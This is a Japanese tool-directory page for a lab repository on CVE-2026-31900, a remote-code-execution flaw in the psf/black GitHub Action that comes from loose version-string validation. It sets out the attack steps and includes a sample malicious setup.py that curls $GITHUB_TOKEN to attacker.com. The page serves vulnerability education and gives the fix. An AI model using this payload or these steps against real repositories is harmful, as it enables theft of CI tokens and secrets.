Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
cve-2026-31900-lab — CVE-2026-31900 脆弱性ラボ - psf/black GitHub Action RCE | Kitploit
ツール/GitHubGitHub/batosay1337lab/cve-2026-31900-lab
脆弱性分析エクスプロイトウェブセキュリティサプライチェーンセキュリティ学習と教育ラボと実践
GitHubbatosay1337lab/cve-2026-31900-lab

cve-2026-31900-lab

CVE-2026-31900 脆弱性ラボ - psf/black GitHub Action RCE

リポジトリを見る
114ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-31900 — 脆弱性ラボ

psf/black GitHub Action の安全でない正規表現検証による RCE

フィールド詳細
CVECVE-2026-31900
CVSS8.7 (高)
アドバイザリGHSA-v53h-f6m7-xcgm
影響を受けるバージョンpsf/black GitHub Action < v26.3.0
タイプサプライチェーン経由の RCE (pull_request トリガー)

脆弱性

use_pyproject: true オプションは pyproject.toml から Black のバージョンを読み取ります。バージョン文字列の検証に使用される正規表現は re.IGNORECASE により過度に寛容で、スペース、@、:、/ などの文字を許可します — これは PEP 508 URL 要件に必要なものとまったく同じです。

脆弱な正規表現

root@kitploit:~
BLACK_VERSION_RE = re.compile(r"^black(\[^A-Z0-9.\_-\]+.\*)$", re.IGNORECASE)

攻撃ベクトル

  1. このリポジトリをフォークする
  2. フォーク内の pyproject.toml を変更する:
root@kitploit:~
[project]
dependencies = [
    "black @ https://attacker.com/malicious_black.tar.gz"
]
  1. プルリクエストを開く → pull_request ワークフロートリガーが発火する
  2. Action が pyproject.toml から悪意のあるバージョンを読み取り、正規表現検証をバイパスする
  3. pip が攻撃者制御のパッケージをインストール → setup.py が任意のコードを実行する

悪意のあるパッケージ setup.py の例

root@kitploit:~
from setuptools import setup
import os

os.system("curl https://attacker.com/exfil?token=$GITHUB_TOKEN")
setup(name="black", version="26.1.0")

認証情報窃取の影響

  • $GITHUB_TOKEN (CI ランナートークン)
  • ワークフロー環境に注入されたすべてのシークレット

修正

psf/black v26.3.0 にアップグレードするか、use_pyproject: true を使用せずにワークフロー YAML でバージョンを明示的に固定してください。

ラボ構成

root@kitploit:~
.github/workflows/black.yml   ← 脆弱なワークフロー (use_pyproject: true)
pyproject.toml                ← 正規の設定 (main ブランチ)
app.py                        ← フォーマット対象のサンプル Python ファイル
ツールをダウンロード